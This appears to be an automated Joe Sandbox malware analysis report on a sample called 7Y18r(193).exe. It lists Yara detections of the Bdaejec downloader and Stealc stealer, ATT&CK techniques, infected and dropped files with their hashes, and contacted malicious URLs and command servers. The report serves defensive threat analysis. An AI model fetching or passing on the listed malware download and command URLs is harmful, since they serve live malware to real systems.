Source: Yara match	File source: Process Memory Space: 7Y18r(193).exe PID: 7472, type: MEMORYSTR

Remote Access Functionality

Yara detected Bdaejec

Source: Yara match

File source: Process Memory Space: WuiXLS.exe PID: 7496, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7Y18r(193).exe.890e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7Y18r(193).exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7Y18r(193).exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7Y18r(193).exe.890e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7Y18r(193).exe.2430000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1457369500.0000000002430000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7Y18r(193).exe PID: 7472, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	22 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Virtualization/Sandbox Evasion	11 Input Capture	11 System Time Discovery	1 Taint Shared Content	11 Input Capture	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	2 Process Injection	1 Access Token Manipulation	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	2 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	112 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	22 Software Packing	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	3 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	14 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7Y18r(193).exe	96%	ReversingLabs	Win32.Virus.Jadtre
7Y18r(193).exe	93%	Virustotal		Browse
7Y18r(193).exe	100%	Avira	W32/Jadtre.B
7Y18r(193).exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files\7-Zip\Uninstall.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Jadtre.B
C:\Users\user\AppData\Local\Temp\WuiXLS.exe	100%	Avira	TR/Dldr.Small.Z.haljq
C:\Program Files\7-Zip\Uninstall.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\WuiXLS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\WuiXLS.exe	92%	ReversingLabs	Win32.Trojan.Madeba

Source	Detection	Scanner	Label
https://www.smartsharesystems.com/Morten	0%	URL Reputation	safe
http://www.scintilla.org/scite.rng	0%	URL Reputation	safe
http://www.develop.com	0%	URL Reputation	safe
http://www.lua.org	0%	URL Reputation	safe
http://www.rftp.comJosiah	0%	URL Reputation	safe
http://www.activestate.com	0%	URL Reputation	safe
http://ddos.dnsnb8.net/	100%	URL Reputation	malware
http://www.activestate.comHolger	0%	URL Reputation	safe
http://ddos.dnsnb8.net:799/cj//k1.rar	100%	URL Reputation	malware
http://www.spaceblue.com	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
http://www.baanboard.com	0%	URL Reputation	safe
http://www.rftp.com	0%	URL Reputation	safe
http://www.develop.comDeepak	0%	URL Reputation	safe
http://www.baanboard.comBrendon	0%	URL Reputation	safe
https://www.smartsharesystems.com/	0%	URL Reputation	safe
http://www.scintilla.org	0%	URL Reputation	safe
http://www.spaceblue.comMathias	0%	URL Reputation	safe
http://bernardofata.icu/40d570f44e84a454.php	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k1.rarq	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k1.rarp	100%	Avira URL Cloud	phishing
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rarH	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k1.rarn.=	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ddos.dnsnb8.net	44.221.84.105	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://bernardofata.icu/40d570f44e84a454.php	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.smartsharesystems.com/Morten	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://www.scintilla.org/scite.rng	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://www.develop.com	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://www.lua.org	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://www.rftp.comJosiah	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://www.activestate.com	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://ddos.dnsnb8.net/	WuiXLS.exe, 00000002.00000002.1505404095.0000000000611000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.activestate.comHolger	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	WuiXLS.exe, 00000002.00000003.1394029719.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, WuiXLS.exe, 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarq	WuiXLS.exe, 00000002.00000002.1505943668.000000000231A000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.spaceblue.com	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarp	WuiXLS.exe, 00000002.00000002.1505943668.000000000231A000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
http://www.baanboard.com	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://www.rftp.com	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarn.=	WuiXLS.exe, 00000002.00000002.1505404095.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.develop.comDeepak	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarH	WuiXLS.exe, 00000002.00000002.1505404095.000000000059E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.baanboard.comBrendon	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
https://www.smartsharesystems.com/	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://www.scintilla.org	SciTE.exe.2.dr	false	URL Reputation: safe	unknown
http://www.spaceblue.comMathias	SciTE.exe.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
44.221.84.105	ddos.dnsnb8.net	United States		14618	AMAZON-AESUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482727
Start date and time:	2024-07-26 02:50:35 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7Y18r(193).exe
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@5/13@4/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 28 Number of non-executed functions: 72
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, umwatson.events.data.microsoft.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:51:38	API Interceptor	2x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
44.221.84.105	BUG32.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	7Y18r(216).exe.dll	Get hash	malicious	Bdaejec, Sality	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	BUG32.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	builder_Release.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	BOTBINARY.EXE.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k4.rar
	BkPack.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k3.rar
	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	ddos.dnsnb8.net:799/cj//k5.rar
	dllhost.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k1.rar

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ddos.dnsnb8.net	BUG32.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	7Y18r(212).exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	7Y18r(216).exe.dll	Get hash	malicious	Bdaejec, Sality	Browse	44.221.84.105
	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105
	BUG32.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	builder_Release.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	A9BCD8D127BE95C64EDAE5CDD2379494A37D458FD9D5881D74F8D5487A805E6C.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	44.221.84.105
	BOTBINARY.EXE.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	BkPack.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	BUG32.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	7Y18r(216).exe.dll	Get hash	malicious	Bdaejec, Sality	Browse	44.221.84.105
	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105
	BUG32.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	builder_Release.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	BOTBINARY.EXE.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	BkPack.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	44.221.84.105
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	44.221.84.105
	dllhost.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\WuiXLS.exe	7Y18r(212).exe	Get hash	malicious	Bdaejec	Browse
	7Y18r(216).exe.dll	Get hash	malicious	Bdaejec, Sality	Browse
	7Y18r(223).exe	Get hash	malicious	Bdaejec	Browse
	builder_Release.exe	Get hash	malicious	Bdaejec	Browse
	A9BCD8D127BE95C64EDAE5CDD2379494A37D458FD9D5881D74F8D5487A805E6C.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse
	BOTBINARY.EXE.exe	Get hash	malicious	Bdaejec	Browse
	BkPack.exe	Get hash	malicious	Bdaejec	Browse
	bss.exe	Get hash	malicious	Bdaejec	Browse
	C0ED98D08381257B540A04C0868ECD6A628649AA70FEBCBE03778BAE532FB5BE.exe	Get hash	malicious	Bdaejec, BitCoin Miner, Xmrig	Browse
	builder_Release.exe	Get hash	malicious	Bdaejec	Browse

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\WuiXLS.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	6.590617265551709
Encrypted:	false
SSDEEP:	384:1FpSPXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:MRQGPL4vzZq2o9W7GsxBbPr
MD5:	5DD5E8954472C433520EC6945EF48D18
SHA1:	4FB35D158F3BC6FA8FDF24D7627A769B469AE13D
SHA-256:	0746E902413AC4EDDF1DD4043F23A0F1E926E660987254899DCDBB347C033581
SHA-512:	00B3E0EA5B1692DF37EB420AAC43A63FA17737771F3377D32B6997954EDE06FC7F3CA7E65B478D1AF527A704CEDD46BB32FB7B1D1ECC0CDB1E6C4CFA0BC2A1E7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ..........................................................@...PE..L....................................0............................................................................................... ..l...........................................................................................................PELIB...............................`....rsrc........ ......................@..@..Y\|.uR..P...0...B.................. ...................................................................................j.h"...h....j...(....Hello World!.MyProg........................................................................................................................................................................................................................(...........0...(.......................;.......User32.dll...MessageBoxA................................................................................................dummy.exe.....................TestExport.CallPlz................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\WuiXLS.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2389504
Entropy (8bit):	6.731344336459406
Encrypted:	false
SSDEEP:	49152:BGSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL:V4OEtwiICvYMpf
MD5:	4C6F3B94A176D722328CB44FC0A4EEB3
SHA1:	A6C6B1F359D8670A877FDDBD3D918DF906D571D1
SHA-256:	936263015B621BD3211A2824C2558FC983280CC663C5C8433DA3D7DD60E8551C
SHA-512:	F984AEB9AAAA92144D561AC0F336B12A2FED0110F622DC7CDAB25A36395749FCAC087C2D9093F964307F915A5BF144CB28432C366CC1DA6D1F9362F1C478252B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~.......p$...........@...........................$...........@.........................p...<............@ ......................P#.....@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@..B.....u...P...p$..B...4$............. ...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\WuiXLS.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	6.365978439038225
Encrypted:	false
SSDEEP:	768:uWQ3655Kv1X/qY1MSdgtQGPL4vzZq2o9W7GsxBbPr:uHqaNrFdgaGCq2iW7z
MD5:	00E6AA046C6B3F8C7416501E743B72BC
SHA1:	77BA8DCDD2B73F20D953D6BAF4DEE41D31AF2F40
SHA-256:	FCBB9E68B0F4F1B598801C58542B6F940A47F366472614338E795AC6A9EDA262
SHA-512:	56CCC930C3AB9A81E2141AA493C7C27A389D09BA5E5EB33A5B5A1E6DF85168E1774D3FDC35D6C4E6D8DF8A35FA7E9BB8933234FA1273C566F873D0EE598811D9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../......V...@.......p.......0....@.........................................................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc........`.......*..............@..@.EpN.uZ..P...p...B...:.............. ...................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_7Y18r(193).exe_904ebe8ba3e96d2d01f96708bde8f3cf5778cd4_17ee7a96_32e72f6e-ae3a-4a61-bf45-ec127ffb67c4\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7788669724727739
Encrypted:	false
SSDEEP:	192:nFbspr54OYA0tbGyjjTzuiFDZ24IO8+q:F+t4OYbtbGyj3zuiFDY4IO8+
MD5:	A3F8639B2251E1D941F7D583E0644A59
SHA1:	0B02007AA291B606DB62203850AF7BBA3BB270F2
SHA-256:	CA50F93F3C4F28051EA0AA324B746A869DD5B1213D8D3167DE939CFFC6C5D349
SHA-512:	20F5988956FF46C22D88560C8B0956C8FD87BD5D7F2EDF4951691F86B7A62D41A468608FD005D40CE55B1B451F886A480F423B787431C99808C8315C0091CDE8
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.4.2.8.6.9.4.4.0.5.7.1.1.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.4.2.8.6.9.4.7.1.8.2.1.7.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.2.e.7.2.f.6.e.-.a.e.3.a.-.4.a.6.1.-.b.f.4.5.-.e.c.1.2.7.f.f.b.6.7.c.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.f.4.1.c.b.f.4.-.5.8.6.5.-.4.a.d.c.-.a.9.5.f.-.9.8.6.a.8.5.3.c.4.8.1.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.7.Y.1.8.r.(.1.9.3.)...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.3.0.-.0.0.0.1.-.0.0.1.4.-.f.9.5.6.-.6.a.f.2.f.5.d.e.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.1.c.f.a.5.0.e.7.a.a.7.e.4.b.d.d.2.4.6.6.8.2.8.3.9.9.1.1.9.2.e.0.0.0.0.f.f.f.f.!.0.0.0.0.0.9.7.5.4.9.6.8.7.2.2.7.3.1.f.b.2.0.8.d.d.b.e.b.c.c.6.c.6.a.7.c.c.9.d.4.2.c.7.b.!.7.Y.1.8.r.(.1.9.3.)...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_WuiXLS.exe_a22b3851192b317e0211b41e153fb28ae945_4c9ae75e_83cc07d0-134f-472c-b0c4-fd05e18d947a\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9230343872783822
Encrypted:	false
SSDEEP:	192:ufgSTbDh602EJo+jkfBzuiFDZ24IO8skr:ufPvDhB26o+jKzuiFDY4IO8s
MD5:	752119478B65B653E5E532208197240B
SHA1:	2F890A705D3E9331ED71A1EB4A8BB41A518243E7
SHA-256:	73BB0F095A2642E718BED2F99779C4F2B22955663973860F023733081265C1ED
SHA-512:	B092D23869009779BE0F4EF90ED8BA7D744585E32BDF957207D94F1AA3A2F25192B25B07A650980B03005BF400565842CDC0662C2AEA73C87602CDD7DCABA37A
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.4.2.8.6.9.3.1.4.2.2.3.2.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.4.2.8.6.9.4.0.9.5.3.6.8.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.3.c.c.0.7.d.0.-.1.3.4.f.-.4.7.2.c.-.b.0.c.4.-.f.d.0.5.e.1.8.d.9.4.7.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.1.a.7.7.a.d.1.-.9.c.f.2.-.4.d.f.8.-.a.e.d.e.-.4.d.9.2.9.8.e.2.e.a.e.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.W.u.i.X.L.S...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.4.8.-.0.0.0.1.-.0.0.1.4.-.9.d.d.1.-.7.9.f.2.f.5.d.e.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.3.6.0.2.4.0.9.1.6.9.f.c.8.d.a.1.7.a.d.a.b.4.2.d.0.1.c.7.6.4.c.0.0.0.0.f.f.f.f.!.0.0.0.0.d.4.e.9.e.f.1.0.d.7.6.8.5.d.4.9.1.5.8.3.c.6.f.a.9.3.a.e.5.d.9.1.0.5.d.8.1.5.b.d.!.W.u.i.X.L.S...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.3.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8B5.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jul 26 00:51:33 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	156746
Entropy (8bit):	1.8052572905135291
Encrypted:	false
SSDEEP:	384:8GZk5DBVAfzd6i0GqEz5lb3UMr2+ZO5BCgb7azHyn1aRD28oyk:8G29BVO8i1SSOzxSSWD1O
MD5:	3BF2EFF05297EF21E0B2D99BCB594818
SHA1:	CE583F1F2A32182B6F75610DA334B15E64C06BA7
SHA-256:	A3FBA04B6FC2CA0BED3A79298A188125B4D43269D2C40A0B03A1D4B9B6F3B737
SHA-512:	3A4F32A3B3EE488794026AC3D3ED00FF35E1887327795F1107E365AEF6AD86A997BB1113356CAB12AC7279F2895D700D30AA6DF85E1464C44D1BD72CABBF74AF
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........f............t...............\|.......d...fL..........T.......8...........T............7...,..........T...........@...............................................................................eJ..............GenuineIntel............T.......H.....f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD9DF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8258
Entropy (8bit):	3.700485499807649
Encrypted:	false
SSDEEP:	192:R6l7wVeJJJ6E6YwN61IkG4gmfmJtpDM89bJVsfeDm:R6lXJH6E6Ya61IkZgmfmPJufL
MD5:	E4DB9B40A92B7217E3B46CB0E08A704C
SHA1:	843B7A11832D72EE530085F335DA25E1338FFBE6
SHA-256:	8318601B82DFC3CE3F95020FD774ACA3BB76C829DF2F5E848C4C678EBA3E5AC5
SHA-512:	E7935F16986DA4341E5BC22E1B5C4D124D5DC69DEBCE8747CA94E74E46F2C66748EFCFF213096E9227667DDB2310EE51891582975F487B01ADD1CEEABE56C245
Malicious:	false
Reputation:	low
